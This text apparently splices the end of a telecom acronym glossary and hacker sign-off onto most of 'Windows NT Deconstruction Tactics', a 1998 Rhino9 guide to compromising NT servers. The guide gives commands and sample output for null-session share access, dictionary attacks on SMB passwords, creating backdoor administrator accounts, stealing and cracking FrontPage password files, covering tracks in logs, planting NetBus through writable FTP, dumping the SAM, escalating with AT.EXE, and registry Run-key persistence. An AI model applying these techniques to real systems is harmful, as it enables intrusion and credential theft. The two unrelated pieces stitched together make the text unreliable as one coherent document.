On-Line Transaction Processing
ONI:
Operator Number Identification
OPCR:
Operator Actions Program
OPM:
Outside Plant Module
OPM:
Outage Performance Monitoring
OR:
Originating Register
OS:
Operating System
OSI:
Open Systems Interconnection
OSL:
Open System Location
OSS:
Operator Services System
OST:
Originating Station Treatment
OTC:
Operating Telephone Company
OTR:
Operational Trouble Report
OUTWATS: Outward Wide Area Telecommunications Service
PABX:
Private Automated Branch Exchange
PACT:
Prefix Access Code Translator
PAD:
Packet Assembler/Disassembler
PADSX:
Partially Automated Digital Signal Cross-Connect
PAM:
Pulse Amplitude Modulation
PAX:
Private Automatic Exchange
PBU:
Product Business Unit
PBX:
Private Branch Exchange
PC:
Primary Center
PCM:
Pulse Code Modulation
PCP:
PC Pursuit
PFM:
Pulse Frequency Modulation
PGA:
Pin Grid Array
PIN:
Personal Identification Number
PLA:
Programmable Logic Array
PLD:
Programmable Logic Device
PLS:
Programmable Logic Sequencer
PM:
Phase Modulation
PM:
Peripheral Module
PMAC:
Peripheral Module Access Controller
PMR:
Poor Mans Routing
PNC:
Primenet Node Controller
POC:
Point of Contact
POF:
Programmable Operator Facility
POP:
Point of Presence
POS:
Point Of Sale
POT:
Point of Termination
POTS:
Plain Old Telephone Service
PPN:
Project Program Number
PPP:
Point to Point Protocol
PPS:
Public Packet Switching
PPSN:
Public Packet Switched Network
PSAP:
Public Safety Answering Point
PSDC:
Public Switched Digital Capability
PSDCN:
Packet-Switched Data Communication Network
PSDN:
Packet-Switched Data Network
PSDS:
Public Switched Digital Service
PSN:
Packet-Switched Network
PSS:
Packet-Switched Service
PSW:
Program Status Word
PTE:
Packet Transport Equipment
PTS:
Position and Trunk Scanner
PTT:
Postal Telephone & Telegraph
PVC:
Permanent Virtual Call
PVN:
Private Virtual Network
PWC:
Primary Wiring Center
QPSK:
Quadrature Phase-Shift Keying
RACF:
Resource Access Control Facility
RAO:
Revenue Accounting Office
RARP:
Reverse Address Resolution Protocol
RBG:
Realtime Business Group
RBOC:
Regional Bell Operating Company
RC:
Rate Center
RC:
Regional Center
RDB:
Relational Database
RDSN:
Region Digital Switched Network
RDT:
Restricted Data Transmissions
RDT:
Remote Digital Terminal
REP:
Reperatory Dialing
REXX:
Restructured Extended Executer Language
RFC:
Request For Comments
RIP:
Routing Information Protocol
RIS:
Remote Installation Service
RISC:
Reduced Instruction Set Computer
RISD:
Reference Information Systems Development
RJE:
Remote Job Entry
RLCM:
Remote Line Concentrating Module
RNOC:
Regional Network Operations Center
ROTL:
Remote Office Test Line
RPC:
Remote Procedure Call
RPE:
Remote Peripheral Equipment
RSA:
Reference System Architecture
RSB:
Repair Service Bureau
RSC:
Remote Switching Center
RSCS:
Remote Spooling Communications Subsystem
RSS:
Remote Switching System
RSU:
Remote Switching Unit
RTA:
Remote Trunk Arrangement
RTG:
Routing Generator
R/W:
Read/Write
RX:
Remote Exchange
SA:
Storage Array
SABB:
Storage Array Building Block
SAM:
Secure Access Multiport
SARTS:
Switched Access Remote Test System
SAS:
Switched Access Services
SAS:
Single Attachment System
SBB:
System Building Block
SABM:
Set Asynchronous Balanced Mode
SAC:
Special Area Code
SBS:
Satellite Business Systems
SC:
Sectional Center
SCC:
Specialized Common Carrier
SCC:
Switching Control Center
SCCP:
Signaling Connection Control Part
SCCS:
Switching Control Center System
SCF:
Selective Call Forwarding
SCF:
Supervision Control Frequency
SCM:
Station Class Mark
SCM:
Subscriber Carrier Module
SCP:
Signal Conversion Point
SCP:
System Control Program
SCP:
Service Control Point
SCR:
Selective Call Rejection
SDLC:
Synchronous Data Link Control
SF:
Single-Frequency
SFE:
Secure Front End
SIDH:
System Identification Home
SIT:
Special Information Tones
SLIC:
Subscriber Line Interface Card
SLIM:
Subscriber Line Interface Module
SLIP:
Serial Line Internet Protocol
SLS:
Storage Library System
SLU:
Serial Line Unit
SM:
System Manager
SMDI:
Storage Module Disk Interconnect
SMDR:
Station Manager Detail Recording
SMI:
System Management Interrupt
SMP:
Symmetrical Multi-Processing
SMS:
Self-Maintenance Services
SMS:
Station Management System
SMTP:
Simple Mail Transfer Protocol
SNA:
Systems Network Architecture
SNMP:
Simple Network Management Protocol
SONDS:
Small Office Network Data System
SOST:
Special Operator Service Treatment
SP:
Service Processor
SPC:
Stored Program Control
SPCS:
Stored Program Control System
SPCSS:
Stored Program Control Switching System
SPM:
Software Performance Montior
SQL/DS:
Structured Query Language/Data System
SRC:
System Resource Center
SS:
Signaling System
SSAS:
Station Signaling and Announcement System
SSCP:
Systems Service Control Point
SSCP:
Subsystem Services Control Point
SSP:
Switching Service Points
SSS:
Strowger Switching System
ST:
Start
STC:
Service Termination Charge
STD:
Subscriber Trunk Dialing
STP:
Signal Transfer Point
STS:
Synchronous Transport Signal
SVC:
Switched Virtual Call
SWG:
Sub Working Group
SxS:
Step-by-Step Switching
T-1:
Terrestrial Digital Service
TAC:
Trunk Access Code
TAC:
Terminal Access Circuit
TAC:
Terminal Access Center
TAS:
Telephone Answering Service
TASI:
Time Assignment Speech Interpolation
TBU:
Terminals Business Unit
TC:
Toll Center
TCAP:
Transaction Capabilities ApplicationPart
TCC:
Technical Consulting Center
TCC:
Telecommunications Control Computer
TCF:
Transparent Connect Facility
TCM:
Time Compression Multiplexing
TCP:
Transmission Control Protocol
TDAS:
Traffic Data Administration System
TDCC:
Transport Data Coordinating Committee
TDM:
Time Division Multiplexer
TDMS:
Terminal Data Management System
TDS:
Terrestrial Digital Service
TH:
Trouble History
TIDE:
Traffic Information Distributor & Editor
TIS:
Technical Information Systems
TLB:
TransLAN Bridge
TM:
Trunk Module
TMSCP:
Tape Mass Storage Control Protocol
TNDS:
Total Network Data System
TNPS:
Traffic Network Planning Center
TO:
Toll Office
TOP:
Technical Office Protocol
TOPS:
Traffic Operator Position System
TP:
Transport Protocol
TP:
Toll Point
TP:
Transaction Processing
TPC:
Transaction Processiong Performance Council
TREAT:
Trouble Report Evaluation and Analysis Tool
TRIB:
Throughput Rate in Information Bits
TRT:
Tropical Radio and Telephone
TSB:
Time Shared Basic Environment
TSG:
Timing Signal Generator
TSN:
Terminal Switching Network
TSO:
Time Sharing Option
TSPS:
Traffice Service Position System
TTL:
Transistor-to-Transistor Logic
TTS:
Trunk Time Switch
TWX:
Type Writer Exchange
UA:
Unnumbered Acknowledgement
UAE:
Unrecoverable Application Error
UART:
Universal Asynchronous Receiver Transmitter
UCS:
Uniform Communication Standard
UDC:
Universal Digital Channel
UDP:
User Datagram Protocol
UDVM:
Universal Data Voice Multiplexer
UID:
User Identifier
UPC:
Utility Port Conditioner
USC:
Usage Surcharge
USDN:
United States Digital Network
USTS:
United States Transmission Systems
UUCP:
Unix to Unix Copy Program
VAN:
Value Added Networks
VAX:
Virtual Address Extention
VCPI:
Virtual Control Program Interface
VDU:
Visual Display Unit
VF:
Voice Frequency
VFU:
Vertical Forms Unit
VFY:
Verify
VIA:
Vax Information Architecture
VLM:
Virtual Loadable Module
VLSI:
Very Large Scale Integration
VMB:
Voice Mail Box
VMCF:
Virtual Machine Communications Facility
VMS:
Virtual Memory System
VMS:
Voice Mail System
VM/SP:
Virtual Machine/System Product
VPA:
VAX Performance Advisor
VPS:
Voice Processing System
VSAM:
Virtual Storage Access Method
VSE:
Virtual Storage Extended
VTAM:
Virtual Telecommunications Access Method
VTOC:
Volume Table Of Contents
VUIT:
Visual User Interface Tool
VUP:
Vax Unit of Processsing
WAN:
Wide Area Network
WATS:
Wide Area Telecommunications System
WATS:
Wide Area Telephone Service
WC:
Wiring Center
WCPC:
Wire Center Planning Center
WDCS:
Wideband Digital Cross-Connect System
WDM:
Wavelength Division MultiPlexing
WES:
Western Electronics Switching
WUI:
Western Union International
XB:
Crossbar Switching
XBAR:
Crossbar Switching
XBT:
Crossbar Tandem
XNS
Xerox Network Systems
XSV
Transfer Cost System Value
XTC
Extended Test Controller
CONCLUSION
==========
---------Last words
==========
Well, i sincerely hope that this file was of some use to you, and i would
encourage you to distribute it as far as you can. If you enjoyed it, hated it,
have suggestions, or whatever, feel free to email me at my Internet address(my
only permanent one for now) or at a BBS, if you can find me.
Have phun...
- Deicide Recommended Reading
===================
Neuromancer, Mona Lisa Overdrive, Count Zero and all the rest, by William
Gibson
The Hacker Crackdown, by Bruce Sterling
Cyberpunk, by Katie Hafner and John Markoff
The Cuckoo's Egg, by Cliff Stoll
2600: The best h/p printed zine. $21 in American funds, U.S. & Canada.
2600 Subscription Dept., P.O. Box 752, Middle Island NY 11953-0752
Office: 516-751-2600
Fax: 516-751-2608
The issues of CUD, cDc, & Phrack electronic newsletters, and the LOD/H TJs,
all of which can be found on the Internet and any good h/p oriented BBS.
BBSes
=====
Although most boards have a lifespan equivalent to that of a fruitfly,
I finally have a list which is somewhat stable.. getting on them is your
problem.. just be yourself and be willing to learn.
- Unphamiliar Territories
- Demon Roach Underground
- Temple of the Screaming Electron
- Burn This Flag
- Dark Side of the Moon
and Phrozen Realm if it returns..
References
==========
All the material used in this publication is original unless specifically
stated otherwise.
However, i'd like to thank Phrack and the LOD/H for their textfiles
which gave me a valuable push in the right direction..
And of course all the great h/p folks who have helped me along the way..
And finally
===========
Thanks to the EFF, for their continued support of all of the world's rights
in this technological era.
Thanks to all the folks running the FreeNets who continue to support the
right to free access to information in this world of cynicism.
Thanks to cDc, for not selling out after all these years...
Musical inspirations: Primus, Rage Against the Machine, Jimi Hendrix, Led
Zeppelin, Dead Kennedys, White Zombie, the Beastie Boys, etc, etc.
"Yes I know my enemies. They're the teachers who taught me to fight me.
Compromise, conformity, assimilation, submission, ignorance, hypocrisy,
brutality, the elite"
- /Know Your Enemy/ (c) Rage Against the Machine
- Deicide deicide@west.darkside.com
DISCLAIMER
==========
This file was provided for informational purposes only.
The author assumes no responsibilities for any individual's actions after
reading this file.
Windows NT Deconstruction Tatics
Step by Step NT Explotation Techniques
by vacuum of Rhino9 & Technotronic
vacuum@technotronic.com
Revision 5 10/01/98
Changes in Revision 5:
Refined some NET.EXE examples.
Included brief discussion of NetBus.
Samba
rdisk /s information.
Made this .zip more like a unix rootkit by included all the mentioned tools.
Cleaned up the overall layout.
I. Initial Access Strategy
1.)NetBIOS Shares Using Microsoft Executables
a. NET.EXE 's other uses
2.)NAT The NetBIOS Auditing Tool
II.FrontPage Exploitation
1.)FrontPage password decryption on unix servers with frontpage extensions.
III. Registry Vulnerabilities
1.) rdisk /s to dump the SAM (Security Account Manager)
2.) gaining access to the regisry with the AT.EXE command (local)
3.) REGEDT32.EXE and REGEDIT.EXE
4.) REGINI.EXE and REGDMP.EXE remote registry editing tools
5.) Using the Registry to Execute Malicious Code
IV. Trojan .lnk (shortcuts)
1.)Security hole within winnt\profiles and login scripts
V. Workarounds for common sytsem policy restrictions
VI. PWDUMP Example
Included Files:
NTExploits.txt this document
samproof.txt
example of the sam hive from the registry
notepad.reg
Example .reg file that starts up notepad.exe upon login. Could be any
executable.
service.pwd
Service.pwd frontpage password example.
NetBIOS Shares Using the standard Microsoft Executables
C:\>NBTSTAT -A 123.123.123.123
C:\>NBTSTAT -a www.target.com
NetBIOS Remote Machine Name Table
Name
Type
Status
--------------------------------------------STUDENT1
<20> UNIQUE
Registered
STUDENT1
<00> UNIQUE
Registered
DOMAIN1
<00> GROUP
Registered
DOMAIN1
<1C> GROUP
Registered
DOMAIN1
<1B> UNIQUE
Registered
STUDENT1
<03> UNIQUE
Registered
DOMAIN1
<1E> GROUP
Registered
DOMAIN1
<1D> UNIQUE
Registered
..__MSBROWSE__.<01> GROUP
Registered
MAC Address = 00-C0-4F-C4-8C-9D
After a NetBIOS share is found, it can be added to the LMHOSTS file.
Computername <03> UNIQUE Registered by the messenger service. This is the computername
to be added to the LMHOSTS file which is not necessary to
use
NAT.EXE but is necessary if you would like to view the remote
computer in Network Neighborhood.
Example of LMHOSTS file:
123.123.123.123 student1
24.3.9.12
target2
Now you can use the find computer options within NT or 95 to browse the shares.
An alternative option would be to use the very powerful NET.EXE
C:\>net view 123.123.123.123
C:\>net view \\student1
Shared resources at 123.123.123.123
Share name
Type
Used as Comment
-----------------------------------------------------------------------------NETLOGON
Disk
Test
Disk
Logon server share
The command completed successfully.
NOTE: The C$ ADMIN$ and IPC$ shares are hidden and are not shown.
To connect to the ipc$ using a null session:
C:\net use \\111.111.111.111\ipc$ "" /user:""
The command completed successfully.
To connect to a normal share:
C:\net use x: \\123.123.123.123\test
The command completed successfully.
Now the command prompt or the NT Explorer can be used to access the remote drive X:
C:\net use
New connections will be remembered.
Status
Local
Remote
Network
------------------------------------------------------------------------------OK
X:
OK
\\123.123.123.123\test
Microsoft Windows Network
\\123.123.123.123\test
Microsoft Windows Network
The command completed successfully.
Here are some other interesting things that NET.EXE can be used for that are not related
to NetBIOS.
NET localgroup <enter> will show which groups have been created on the local machine.
NET name <enter> will show you the name of the computer as well as who is logged in.
NET accounts <enter> will show the password restrictions for the user.
NET share <enter> displays the shares for the local machine including the $ shares
which are supposed to be hidden.
NET share unsecure=c:\ will share the c:\ as unsecure
NET user <enter> will show you which accounts are created on the local machine.
NET user unsecure elite /add will add user unsecure with a password of elite.
NET start SERVICE.
NET start schedule will start the schedule service which can be used to access the
complete registry on a local machine.
NET group
NET group Administrators unsecure /add will add the user unsecure to the
Administrators group if run on a Domain Controller.
NAT (NetBIOS Auditing Tool)
This technique works the the default share type everyone full control. If you are
denied access,
permissions have been applied to the share, and a password will be required.
NAT.EXE (NetBIOS Auditing Tool)
NAT.EXE [-o filename] [-u userlist] [-p passlist] <address>
OPTIONS
-o
Specify the output file.
will
All results from the scan
be written to the specified file, in addition
to standard output.
-u
Specify the file to read usernames from. Usernames
will
be read from the specified file when attempt-
ing to guess the password on the remote
Usernames
server.
should appear one per line in the speci-
fied file.
-p
Specify the file to read passwords from. Passwords
will
be read from the specified file when attempt-
ing to guess the password on the remote
Passwords
server.
should appear one per line in the speci-
fied file.
<address>
Addresses should be specified in comma deliminated
format, with
no spaces. Valid address specifica-
tions include:
hostname - "hostname" is added
127.0.0.1-127.0.0.3,
adds
addresses
127.0.0.1
through 127.0.0.3
127.0.0.1-3,
adds
addresses
127.0.0.1
through
127.0.0.3
127.0.0.1-3,7,10-20,
adds
addresses
through 127.0.0.3, 127.0.0.7,
127.0.0.1
127.0.0.10 through
127.0.0.20.
hostname,127.0.0.1-3, adds "hostname" and 127.0.0.1
through 127.0.0.1
All combinations of hostnames and address ranges as
specified above are valid.
NAT.EXE does all of the above techniques plus it will try Administrative shares ($),
scan a range of IP addresses and use a dictionary file to crack the NetBIOS passwords.
NAT.EXE is the
tool prefered by most hackers.
C:\nat -o vacuum.txt -u userlist.txt -p passlist.txt 204.73.131.10-204.73.131.30
[*]--- Reading usernames from userlist.txt
[*]--- Reading passwords from passlist.txt
[*]--- Checking host: 204.73.131.11
[*]--- Obtaining list of remote NetBIOS names
[*]--- Attempting to connect with name: *
[*]--- Unable to connect
[*]--- Attempting to connect with name: *SMBSERVER
[*]--- CONNECTED with name: *SMBSERVER
[*]--- Attempting to connect with protocol: MICROSOFT NETWORKS 1.03
[*]--- Server time is Mon Dec 01 07:44:34 1997
[*]--- Timezone is UTC-6.0
[*]--- Remote server wants us to encrypt, telling it not to
[*]--- Attempting to connect with name: *SMBSERVER
[*]--- CONNECTED with name: *SMBSERVER
[*]--- Attempting to establish session
[*]--- Was not able to establish session with no password
[*]--- Attempting to connect with Username: `ADMINISTRATOR' Password: `password'
[*]--- CONNECTED: Username: `ADMINISTRATOR' Password: `password'
[*]--- Obtained server information:
Server=[STUDENT1] User=[] Workgroup=[DOMAIN1] Domain=[]
[*]--- Obtained listing of shares:
Sharename
Type
Comment
---------
----
-------
ADMIN$
Disk:
Remote Admin
C$
Disk:
Default share
IPC$
IPC:
Remote IPC
NETLOGON
Disk:
Logon server share
Test
Disk:
[*]--- This machine has a browse list:
Server
Comment
---------
-------
STUDENT1
[*]--- Attempting to access share: \\*SMBSERVER\
[*]--- Unable to access
[*]--- Attempting to access share: \\*SMBSERVER\ADMIN$
[*]--- WARNING: Able to access share: \\*SMBSERVER\ADMIN$
[*]--- Checking write access in: \\*SMBSERVER\ADMIN$
[*]--- WARNING: Directory is writeable: \\*SMBSERVER\ADMIN$
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\ADMIN$
[*]--- Attempting to access share: \\*SMBSERVER\C$
[*]--- WARNING: Able to access share: \\*SMBSERVER\C$
[*]--- Checking write access in: \\*SMBSERVER\C$
[*]--- WARNING: Directory is writeable: \\*SMBSERVER\C$
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\C$
[*]--- Attempting to access share: \\*SMBSERVER\NETLOGON
[*]--- WARNING: Able to access share: \\*SMBSERVER\NETLOGON
[*]--- Checking write access in: \\*SMBSERVER\NETLOGON
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\NETLOGON
[*]--- Attempting to access share: \\*SMBSERVER\Test
[*]--- WARNING: Able to access share: \\*SMBSERVER\Test
[*]--- Checking write access in: \\*SMBSERVER\Test
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\Test
[*]--- Attempting to access share: \\*SMBSERVER\D$
[*]--- Unable to access
[*]--- Attempting to access share: \\*SMBSERVER\ROOT
[*]--- Unable to access
[*]--- Attempting to access share: \\*SMBSERVER\WINNT$
[*]--- Unable to access
If Default share of Everyone/Full Control. Done it is hacked.
FrontPage Exploitation:
Most frontpage exploits compromise only the wwwroot directory and can be used to change
the
html of a site which has become a popular method of gaining fame in the hacker
community.
The following is a list of the Internet Information server files location
in relation to the local hard drive (C:) and the web (www.target.com)
C:\InetPub\wwwroot
<Home>
C:\InetPub\scripts
/Scripts
C:\InetPub\wwwroot\_vti_bin
/_vti_bin
C:\InetPub\wwwroot\_vti_bin\_vti_adm
/_vti_bin/_vti_adm
C:\InetPub\wwwroot\_vti_bin\_vti_aut
/_vti_bin/_vti_aut
C:\InetPub\cgi-bin
/cgi-bin
C:\InetPub\wwwroot\srchadm
/srchadm
C:\WINNT\System32\inetserv\iisadmin
/iisadmin
C:\InetPub\wwwroot\_vti_pvt
C:\InetPub\wwwroot\samples\Search\QUERYHIT.HTM
Internet Information Index Server
sample
C:\Program Files\Microsoft FrontPage\_vti_bin
C:\Program Files\Microsoft FrontPage\_vti_bin\_vti_aut
C:\Program Files\Microsoft FrontPage\_vti_bin\_vti_adm
C:\WINNT\System32\inetserv\iisadmin\htmldocs\admin.htm /iisadmin/isadmin
http://localhost:8814/iisadmin/iisnew.asp
where 8814 is a randomly chosen port. By default only localhost (127.0.0.1) has access
to the html
version of Internet Server Mangager HTML
Using FrontPage, a hacker may alter the html of a remote website often frontpage webs
are left un-passworded.
On the FrontPage Explorer's File menu, choose Open FrontPage Web.
In the Getting Started dialog box, select Open an Existing FrontPage
Web and choose the FrontPage web you want to open.
Click More Webs if the web you want to open is not listed.
Click OK.
If you are prompted for your author name and password, you will have
to decrypt service.pwd, guess or move on.
Enter them in the Name and Password Required dialog box, and click OK.
Alter the existing page, or upload a page of your own.
Scanning PORT 80 (http) or 443 (https) options:
GET /_vti_inf.html
#Ensures that frontpage server extensions
are installed.
GET /_vti_pvt/service.pwd
#Contains the encrypted password files.
Not used on IIS and WebSite servers
GET /_vti_pvt/authors.pwd
#On Netscape servers only. Encrypted
names and passwords of authors.
GET /_vti_pvt/administrators.pwd
GET /_vti_log/author.log
#If author.log is there it will need to
be cleaned to cover your tracks
GET /samples/search/queryhit.htm
Other ways of obtaining service.pwd
http://ftpsearch.com/index.html
search for service.pwd http://www.altavista.digital.com
advanced search for link:"/_vti_pvt/service.pwd"
Attempt to connect to the server using FTP.
port 21
login anonymous
password guest@unknown
the anonymous login will use the internally created IISUSR_computername
account to assign NT permissions.
An incorrect configuration may leave areas vulnerable to attack.
If you find a writeable anonymous ftp account, copy any executables (Netbus for
example)
to the c:\inetpub\scripts\ directory. The permissions on the scripts directory are
as follows:
Execute
(including
script).
This
is
valuable,
allowing
you
to
http://www.target.com/scripts/patch.exe
If service.pwd is obtained it will look similar to this:
Vacuum:SGXJVl6OJ9zkE
The above password is apple
Turn it into DES format:
Vacuum:SGXJVl6OJ9zkE:10:200:Vacuum:/users/Vacuum:/bin/bash
The run your favorite unix password cracker like john.exe (John The Ripper) against
a large dictionary file or ntucrack.exe which will brute force crack the password.
Registry Vulnerabilities:
RDISK
rdisk /s will dump the security and sam portions of the registry into c:\winnt\repair
directory.
It will also give you the option of creating an emergency repair diskette. This .zip
includes SAMDUMP.EXE which can be used to extract passwords from emergency repair
diskettes.
Within that directory there will be a sam._ file. It is ethically used for the emergency
repair disk. If you have gained access to the local drive through physical access
or through netbios shares, run rdisk /s There is a utility called SAMDUP included
within this .zip that will extract the passwords.
GAINING ACCESS TO THE ENTIRE REGISTRY (Local)
For this to work, you will need to start the schedule service.
From the Command Prompt:
C:\>net start schedule
The Schedule service is starting.
The Schedule service was started successfully.
From a Command Prompt:
at <time> /interactive "regedt32.exe"
Where, <time> gets replaced with the current time plus about a minute to take care
of your command typing time.
At <time>, regedt32.exe will appear on your desktop. This execution of regedt32.exe
will be running in the system's
security context. As such, it will allow you access to the entire registry, including
SAM and SECURITY hives.
Note that this will not work against a remote registry; you will need to do this locally
on the system you want
to modify registry.
If sussessful, you will recive a message similar to the following:
Added a new job with job ID = 0
samproof.txt example showing the SAM can be opened
Where, <time> gets replaced with the current time plus about a minute to take care
of your command typing time. At <time>, regedt32.exe will appear on your desktop.
This execution of regedt32.exe will be running in the system's security context. As
such, it will allow you access to the entire registry, including SAM and SECURITY
hives. Note that this will not work against a remote registry; you will need to do
this locally on the system you want to modify registry.
Basic remote registry access that does not include the sam and security hives:
Windows NT supports accessing a remote registry via the Registry Editor and also
through the RegConnectRegistry() Win32 API call. The security on the following
registry key dictates which users/groups can access the registry remotely:
HKEY_LOCAL_MACHINE\
SYSTEM\
CurrentControlSet\
Control\
SecurePipeServers\
Winreg
If this key does not exist, remote access is not restricted, and only the underlying
security on the individual keys control access. In a default Windows NT workstation
installation, this key does not exist. In a default Windows NT server installation,
this key exists and grants administrators full control for remote registry operations,
in addition to granting Everyone Create Subkey and Set Value access (special access).
REGEDT32.EXE
To access the registry of a REMOTE NT computer you must have ADMINISTRATOR RIGHTS.
NAT.EXE (covered in the NetBIOS Section) has often lead to compromised administrator
passwords. Administrators should turn off all shares, including C$
To modify the Registry on a remote computer
Start Regedt32
1 On the File menu, click Connect.
2 Type the name of the remote computer.
3 In the Users on Remote Computer dialog box, click the user that is interactively
logged on, and then click OK. Typically, there is only one user logged on.
4 Double-click Local User to change HKEY_CURRENT_USER Registry settings.
5 Double-click Local Computer to change HKEY_LOCAL_MACHINE Registry settings.
6 On the File menu, click Save.
7 On the File menu, click Disconnect.
Notes:
You can access the Registry only on computers for which you have administrative
permission. The computer can be running any version of Windows NT Workstation or
Windows NT Server. You can only access two predefined keys (HKEY_USERS and
HKEY_LOCAL_MACHINE) of a remote computer registry.
REGINI is a tool that can be used from the command line to manipulate (in our case
write to) the registry on a REMOTE machine. A very closely related tool, REGDMP.EXE
works very closely with the REGINI tool and can be used to "dump" the contents of
the registry on a remote machine to a file for your browsing. It should be noted that
the entire contents of the registry (The Security & SAM hives) will NOT be dumped
as they were with the
at <time> /interactive "regedt32.exe"
technique mentioned above.
REGINI.EXE
usage: REGINI [-h hivefile hiveroot | -w Win95 Directory | -m \\machinename]
[-i n] [-o outputWidth]
[-c] codepage
[-b] textFiles...
where: -h specifies a specify local hive to manipulate.
-w specifies the paths to a Windows 95 system.dat and user.dat files
-m specifies a remote Windows NT machine whose registry is to be manipulated.
-i n specifies the display indentation multiple. Default is 4
-o outputWidth specifies how wide the output is to be.
By default the outputWidth is set to the width of the console window if standard
output has not been redirected to a file.
In the latter case, an outputWidth of 240
is used.
-c specifies codepage of textFiles, if they are ANSI textFiles.
-b specifies that REGINI should be backward compatible with older
versions of REGINI that did not strictly enforce line continuations
and quoted strings Specifically, REG_BINARY, REG_RESOURCE_LIST and
REG_RESOURCE_REQUIREMENTS_LIST data types did not need line
continuations after the first number that gave the size of the data.
It just kept looking on following lines until it found enough data
values to equal the data length or hit invalid input. Quoted
strings were only allowed in REG_MULTI_SZ. They could not be
specified around key or value names, or around values for REG_SZ or
REG_EXPAND_SZ Finally, the old REGINI did not support the semicolon
as an end of line comment character.
textFiles is one or more ANSI or Unicode text files with registry data.
The easiest way to understand the format of the input textFile is to use
the REGDMP command with no arguments to dump the current contents of
your NT Registry to standard out.
Redirect standard out to a file and
this file is acceptable as input to REGINI
Some general rules are:
Semicolon character is an end-of-line comment character, provided it
is the first non-blank character on a line
Backslash character is a line continuation character.
All
characters from the backslash up to but not including the first
non-blank character of the next line are ignored. If there is more
than one space before the line continuation character, it is
replaced by a single space.
Indentation is used to indicate the tree structure of registry keys
The REGDMP program uses indentation in multiples of 4. You may use
hard tab characters for indentation, but embedded hard tab
than one space before the line continuation character, it is
replaced by a single space.
Indentation is used to indicate the tree structure of registry keys
The REGDMP program uses indentation in multiples of 4. You may use
hard tab characters for indentation, but embedded hard tab
characters are converted to a single space regardless of their
position
For key names, leading and trailing space characters are ignored and
not included in the key name, unless the key name is surrounded by
quotes. Imbedded spaces are part of a key name.
Key names can be followed by an Access Control List (ACL) which is a
series of decimal numbers, separated by spaces, bracketed by a
square brackets (e.g. [8 4 17]).
The valid numbers and their
meanings are:
1 - Administrators Full Access
2 - Administrators Read Access
3 - Administrators Read and Write Access
4 - Administrators Read, Write and Delete Access
5 - Creator Full Access
6 - Creator Read and Write Access
7 - World Full Access
8 - World Read Access
9 - World Read and Write Access
10 - World Read, Write and Delete Access
11 - Power Users Full Access
12 - Power Users Read and Write Access
13 - Power Users Read, Write and Delete Access
14 - System Operators Full Access
15 - System Operators Read and Write Access
16 - System Operators Read, Write and Delete Access
17 - System Full Access
18 - System Read and Write Access
19 - System Read Access
20 - Administrators Read, Write and Execute Access
21 - Interactive User Full Access
22 - Interactive User Read and Write Access
23 - Interactive User Read, Write and Delete Access
If there is an equal sign on the same line as a left square bracket
then the equal sign takes precedence, and the line is treated as a
registry value. If the text between the square brackets is the
string DELETE with no spaces, then REGINI will delete the key and
any values and keys under it.
For registry values, the syntax is:
value Name = type data
Leading spaces, spaces on either side of the equal sign and spaces
between the type keyword and data are ignored, unless the value name
is surrounded by quotes.
The value name may be left off or be specified by an at-sign
character which is the same thing, namely the empty value name. So
the following two lines are identical:
= type data
@ = type data
This syntax means that you can't create a value with leading or or
trailing spaces, an equal sign or an at-sign in the value name,
unless you put the name in quotes.
Valid value types and format of data that follows are:
REG_SZ text
REG_EXPAND_SZ text
REG_MULTI_SZ "string1" "string2" ...
REG_DATE mm/dd/yyyy HH:MM DayOfWeek
REG_DWORD numberDWORD
REG_BINARY numberOfBytes numberDWORD(s)...
REG_NONE (same format as REG_BINARY)
REG_RESOURCE_LIST (same format as REG_BINARY)
REG_RESOURCE_REQUIREMENTS (same format as REG_BINARY)
REG_RESOURCE_REQUIREMENTS_LIST (same format as REG_BINARY)
REG_FULL_RESOURCE_DESCRIPTOR (same format as REG_BINARY)
REG_MULTISZ_FILE fileName
REG_BINARYFILE fileName
If no value type is specified, default is REG_SZ
For REG_SZ and REG_EXPAND_SZ, if you want leading or trailing spaces
in the value text, surround the text with quotes. The value text
can contain any number of imbedded quotes, and REGINI will ignore
them, as it only looks at the first and last character for quote
characters.
For REG_BINARY, the value data consists of one or more numbers The
default base for numbers is decimal. Hexidecimal may be specified
by using 0x prefix. The first number is the number of data bytes,
excluding the first number. After the first number must come enough
numbers to fill the value.
Each number represents one DWORD or 4
bytes. So if the first number was 0x5 you would need two more
numbers after that to fill the 5 bytes. The high high order 3 bytes
of the second DWORD would be ignored.
REGDMP.EXE
usage: REGDMP [-m \\machinename | -h hivefile hiveroot | -w Win95 Directory]
[-i n] [-o outputWidth]
[-s] [-o outputWidth] registryPath
where: -m specifies a remote Windows NT machine whose registry is to be manipula
ted.
-h specifies a specify local hive to manipulate.
-w specifies the paths to a Windows 95 system.dat and user.dat files
-i n specifies the display indentation multiple. Default is 4
-o outputWidth specifies how wide the output is to be. By default the
outputWidth is set to the width of the console window if standard
output has not been redirected to a file.
In the latter case, an
outputWidth of 240 is used.
-s specifies summary output. Value names, type and first line of data
registryPath specifies where to start dumping.
If REGDMP detects any REG_SZ or REG_EXPAND_SZ that is missing the
trailing null character, it will prefix the value string with the
following text: (*** MISSING TRAILING NULL CHARACTER ***)
The REGFIND tool can be used to clean these up, as this is a common
programming error.
Whenever specifying a registry path, either on the command line
or in an input file, the following prefix strings can be used:
HKEY_LOCAL_MACHINE
HKEY_USERS
HKEY_CURRENT_USER
USER:
Each of these strings can stand alone as the key name or be followed
a backslash and a subkey path.
RedButton exploits a flaw allowing the creation of a new entry in the registry which
describes a new drive share with access granted to Everyone. After reboot the new
share is published on the network to Everyone. By sharing system drive one can obtain
a copy of a password file updated by rdisk -s from the %SYSTEMROOT%\Repair directory
among other things. Please visit www.ntsecurity.com for further information as this
program relates directly to the registry and NetBIOS share topic covered in this paper.
Using the Registry to Execute Malicious Code
Note: Regedit.exe lets you export keys to .reg files which can also be very handy.
.REG files are used to directly change registry keys. The contents of a .reg file
are similar to the contents of the textfile used with REGINI.EXE
Example (included as notepad.reg) will launch notepad.exe on startup. This of course
could be any executable.
-- cut here -REGEDIT4
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Rhino9"="notepad.exe"
-- cut here -Trojan Building:
This is the properties of a evil .lnk (Shortcut) file.
This technique uses the same strategy as the Internet Explorer 3.0 bug.
You will NOT find an example of a working trojan here. There are plenty
of malicious executables available elsewhere on the internet. Keyloggers,
sniffers, pwdump.exe, getadmin.exe are a few examples. This document is
meant to increase trojan awareness, not provide step-by-step instructions
for novice hackers.
